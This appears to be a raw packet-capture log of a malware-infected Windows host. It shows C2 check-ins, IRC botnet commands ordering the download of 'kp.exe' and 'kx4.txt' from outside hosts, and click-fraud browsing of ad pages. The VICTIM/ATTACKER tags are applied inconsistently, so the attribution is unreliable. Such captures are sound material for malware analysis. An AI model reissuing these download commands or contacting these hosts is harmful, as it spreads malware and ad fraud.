VICTIM: GET /p6.asp?MAC=00-0C-29-76-27-7E&Publicer=100 HTTP/1.0User-Agent: CA 0.0.0.2Host: ck3.nucleardiscover.com:88 ATTACKER: GET / HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: aandstock.netConnection: Keep-Alive ATTACKER: GET / HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: aandstock.netConnection: Keep-AliveCookie: COOKIE=10.5.0.253.1316108514576493; referrer=aandstock.net; t=007a2810dfc211e082110015c5e70714 VICTIM: NICK rfrfzdgpUSER i020500 . . :- VICTIM: Service Pack 2JOIN &virtu ATTACKER: :u. PRIVMSG rfrfzdgp :!get http:/sb.degreesbuy.com:2012/p/out/kp.exe:u. PRIVMSG rfrfzdgp :!get http:/comcomcom1.com/kx4.txt ATTACKER: GET /p6.asp?MAC=00-0C-29-76-27-7E&Publicer=100 HTTP/1.0User-Agent: CA 0.0.0.2Host: myck.nucleardiscover.com:88 ATTACKER: GET /p6.asp?MAC=00-0C-29-76-27-7E&Publicer=100 HTTP/1.1User-Agent: CA 0.0.0.2Host: myck.nucleardiscover.com:88 ATTACKER: GET /p6.asp?MAC=00-0C-29-76-27-7E&Publicer=dc99 HTTP/1.1Host: a.95622.comUser-Agent: ClickAdsByIE 0.9.13Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: zh-cn,zh;q=0.5Referer: http:/a.95622.com/p6.aspContent-Type: application/x-www-form-urlencodedConnection: Close ATTACKER: GET /list.php?c=B4AC885F94224AE64DAAC6EE0346C213D049B58E0B2F69F5DCEECA825FF3F6CDDFE10E13F3845D3386FFC45E0D4897B5778D4CBB9FE6A5FF432C&v=2&t=0.4165766 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: w.nucleardiscover.com:888Connection: Keep-AliveCache-Control: no-cache ATTACKER: GET / HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: stocksmiami.comConnection: Keep-Alive ATTACKER: GET /stocksmiami.com.js HTTP/1.1Accept: */*Referer: http:/stocksmiami.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: stocksmiami.comConnection: Keep-AliveCookie: SessionID=c251e6b1-f233-4800-9097-11f832191a21; VisitorID=39f2721d-9e0e-452a-8c87-acd9c3143d9d&Exp=9/15/2014 10:43:40 AM ATTACKER: GET /js/json.js?rte=1&tm=2&dn=stocksmiami.com&tid=516 HTTP/1.1Accept: */*Referer: http:/stocksmiami.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: stocksmiami.comConnection: Keep-AliveCookie: SessionID=c251e6b1-f233-4800-9097-11f832191a21; VisitorID=39f2721d-9e0e-452a-8c87-acd9c3143d9d&Exp=9/15/2014 10:43:40 AM ATTACKER: GET /css/style.css?rte=1&tm=2&dn=stocksmiami.com&tid=516&def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3dnightlight%7cBdyStyl%3aPageBackgroundColor%3d%23fff%7cBdyStyl%3aFont%3darial%7cBdyStyl%3aFontSize%3d12%7cBdyStyl%3aFontColor%3d%230e5fd8%7cBdyStyl%3aPrimaryColor%3d%23162d48%7cBdyStyl%3aPrimaryColorComplement%3d%23fff%7cBdyStyl%3aSecondaryColor%3d%235c6986%7cBdyStyl%3aSecondaryColorComplement%3d%23ced2da%7cBdyStyl%3aTertiaryColor%3d%23f3f3f3%7cBdyStyl%3aTertiaryColorComplement%3d%234b6ab0%7cPgHdr%3aFontSize%3d18%7cPgHdr%3aFont%3dVerdana%7cRelLink%3aFont%3darial%7cRelLink%3aFontSize%3d14%7cRelLink%3aFontColor%3d%234b6ab0%7cRelLink%3aHoverFontColor%3d%238f1b1b%7cRelLink%3aBackgroundColor%3d%23f6f6f6%7cRelLink%3aHoverBackgroundColor%3d%23fff%7cRelLink%3aDividerColor%3d%23bec8cf%7cRelLink%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0004.gif%7cRelLink%3aImageWidth%3d10%7cRelLink%3aImageHeight%3d10%7cBottomNav%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets_9x9%2f0004.gif%7cResult%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0004.gif%7cResult%3aHeaderFont%3darial%7cResult%3aHeaderFontSize%3d12%7cResult%3aHeaderFontColor%3d%23000%7cResult%3aTitleFont%3darial%7cResult%3aTitleFontSize%3d16%7cResult%3aTitleFontColor%3d%2300c%7cResult%3aAbstractFont%3darial%7cResult%3aAbstractFontSize%3d12%7cResult%3aAbstractFontColor%3d%23000%7cResult%3aURLFont%3darial%7cResult%3aURLFontSize%3d12%7cResult%3aURLFontCo VICTIM: lor%3d%23008000%7cResult%3aSidebarBorderColor%3d%23ccc%7cSrchBox%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbuttons%2f0004.gif%7cSrchBox%3aImageWidth%3d60%7cSrchBox%3aImageHeight%3d22%7cSrchBox%3aAlign%3dright%7cSearchLinkGroup%3aHoverLinkColor%3d%23ff9%7cUsrCust%3aFontType%3dverdana%7cUsrCust%3aFontSize%3d11%7cUsrCust%3aFontColor%3d%23666%7cUsrCust%3aLinkColor%3d%230e5fd8 HTTP/1.1Accept: */*Referer: http:/stocksmiami.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: stocksmiami.comConnection: Keep-AliveCookie: SessionID=c251e6b1-f233-4800-9097-11f832191a21; VisitorID=39f2721d-9e0e-452a-8c87-acd9c3143d9d&Exp=9/15/2014 10:43:40 AM ATTACKER: GET /images/misc/blank.gif HTTP/1.1Accept: */*Referer: http:/stocksmiami.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive ATTACKER: GET /images/Themes/T101/buttons/0004.gif HTTP/1.1Accept: */*Referer: http:/stocksmiami.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive ATTACKER: GET /apps/domainpark/show_afd_ads.js HTTP/1.1Accept: */*Referer: http:/stocksmiami.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pagead2.googlesyndication.comConnection: Keep-Alive ATTACKER: GET /hn.gif?t=0.6154901 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: hn.yigeyuming.com:82Connection: Keep-AliveCache-Control: no-cache ATTACKER: GET / HTTP/1.0Accept: */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: detroittraveldeal.comConnection: Keep-Alive ATTACKER: GET /redirectExitTrack.php?d=detroittraveldeal.com&r=27&u=http%3A%2F%2Fas.casalemedia.com%2Fsd%3Fs%3D98198%26f%3D1 HTTP/1.0Accept: */*Referer: http:/detroittraveldeal.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: detroittraveldeal.comConnection: Keep-AliveCookie: GOSESSION=%7C1316108620.69%3A192.168.1.213%2C0; AAA=1 ATTACKER: GET /sd?s=98198&f=1 HTTP/1.0Accept: */*Referer: http:/detroittraveldeal.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Connection: Keep-AliveHost: as.casalemedia.com ATTACKER: GET /sd?s=98198&f=1&C=1 HTTP/1.0Accept: */*Referer: http:/detroittraveldeal.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Cookie: CMID=at-rWEFuq6MAAA0HuhYAAABU; CMPS=127; CMPP=029Connection: Keep-AliveHost: as.casalemedia.com ATTACKER: GET /nicheImages/60x22/default.jpg HTTP/1.0Accept: */*Referer: http:/detroittraveldeal.com/Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: images.ddc.comConnection: Keep-Alive ATTACKER: GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Referer: http:/stocksmiami.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: stocksmiami.comConnection: Keep-AliveCookie: SessionID=c251e6b1-f233-4800-9097-11f832191a21; VisitorID=39f2721d-9e0e-452a-8c87-acd9c3143d9d&Exp=9/15/2014 10:43:40 AM ATTACKER: GET /stocksmiami.com.js HTTP/1.1Accept: */*Referer: http:/stocksmiami.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: stocksmiami.comConnection: Keep-AliveCookie: SessionID=c251e6b1-f233-4800-9097-11f832191a21; VisitorID=39f2721d-9e0e-452a-8c87-acd9c3143d9d&Exp=9/15/2014 10:43:40 AM ATTACKER: GET /js/json.js?rte=1&tm=2&dn=stocksmiami.com&tid=516 HTTP/1.1Accept: */*Referer: http:/stocksmiami.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: stocksmiami.comConnection: Keep-AliveCookie: SessionID=c251e6b1-f233-4800-9097-11f832191a21; VisitorID=39f2721d-9e0e-452a-8c87-acd9c3143d9d&Exp=9/15/2014 10:43:40 AM ATTACKER: GET /css/style.css?rte=1&tm=2&dn=stocksmiami.com&tid=516&def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3dnightlight%7cBdyStyl%3aPageBackgroundColor%3d%23fff%7cBdyStyl%3aFont%3darial%7cBdyStyl%3aFontSize%3d12%7cBdyStyl%3aFontColor%3d%230e5fd8%7cBdyStyl%3aPrimaryColor%3d%23162d48%7cBdyStyl%3aPrimaryColorComplement%3d%23fff%7cBdyStyl%3aSecondaryColor%3d%235c6986%7cBdyStyl%3aSecondaryColorComplement%3d%23ced2da%7cBdyStyl%3aTertiaryColor%3d%23f3f3f3%7cBdyStyl%3aTertiaryColorComplement%3d%234b6ab0%7cPgHdr%3aFontSize%3d18%7cPgHdr%3aFont%3dVerdana%7cRelLink%3aFont%3darial%7cRelLink%3aFontSize%3d14%7cRelLink%3aFontColor%3d%234b6ab0%7cRelLink%3aHoverFontColor%3d%238f1b1b%7cRelLink%3aBackgroundColor%3d%23f6f6f6%7cRelLink%3aHoverBackgroundColor%3d%23fff%7cRelLink%3aDividerColor%3d%23bec8cf%7cRelLink%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0004.gif%7cRelLink%3aImageWidth%3d10%7cRelLink%3aImageHeight%3d10%7cBottomNav%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets_9x9%2f0004.gif%7cResult%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0004.gif%7cResult%3aHeaderFont%3darial%7cResult%3aHeaderFontSize%3d12%7cResult%3aHeaderFontColor%3d%23000%7cResult%3aTitleFont%3darial%7cResult%3aTitleFontSize%3d16%7cResult%3aTitleFontColor%3d%2300c%7cResult%3aAbstractFont%3darial%7cResult%3aAbstractFontSize%3d12%7cResult%3aAbstractFontColor%3d%23000%7cResult%3aURLFont%3darial%7cResult%3aURLFontSize%3d12%7cResult%3aURLFontCo VICTIM: lor%3d%23008000%7cResult%3aSidebarBorderColor%3d%23ccc%7cSrchBox%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbuttons%2f0004.gif%7cSrchBox%3aImageWidth%3d60%7cSrchBox%3aImageHeight%3d22%7cSrchBox%3aAlign%3dright%7cSearchLinkGroup%3aHoverLinkColor%3d%23ff9%7cUsrCust%3aFontType%3dverdana%7cUsrCust%3aFontSize%3d11%7cUsrCust%3aFontColor%3d%23666%7cUsrCust%3aLinkColor%3d%230e5fd8 HTTP/1.1Accept: */*Referer: http:/stocksmiami.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: stocksmiami.comConnection: Keep-AliveCookie: SessionID=c251e6b1-f233-4800-9097-11f832191a21; VisitorID=39f2721d-9e0e-452a-8c87-acd9c3143d9d&Exp=9/15/2014 10:43:40 AM